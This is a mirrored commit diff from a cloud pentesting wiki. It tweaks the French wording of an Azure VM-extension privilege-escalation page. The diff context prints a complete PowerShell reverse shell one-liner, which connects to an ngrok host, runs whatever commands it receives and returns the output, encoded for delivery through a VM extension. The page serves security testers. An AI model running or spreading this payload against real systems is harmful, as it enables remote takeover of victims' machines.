mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-08-02 17:08:29 -07:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
+2
-2
@@ -49,7 +49,7 @@ az vm extension set \
|
|||||||
|
|
||||||
{{#tab name="Windows" }}
|
{{#tab name="Windows" }}
|
||||||
|
|
||||||
- Exécuter un shell inversé
|
- Exécuter un reverse shell
|
||||||
```bash
|
```bash
|
||||||
# Get encoded reverse shell
|
# Get encoded reverse shell
|
||||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||||
@@ -157,7 +157,7 @@ Set-AzVMDscExtension `
|
|||||||
|
|
||||||
<summary>Hybrid Runbook Worker</summary>
|
<summary>Hybrid Runbook Worker</summary>
|
||||||
|
|
||||||
C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service des comptes d'automatisation](../az-services/az-automation-account/index.html).
|
C'est une extension de VM qui permet d'exécuter des runbooks dans des VM à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service des comptes d'automatisation](../az-services/az-automation-account/index.html).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user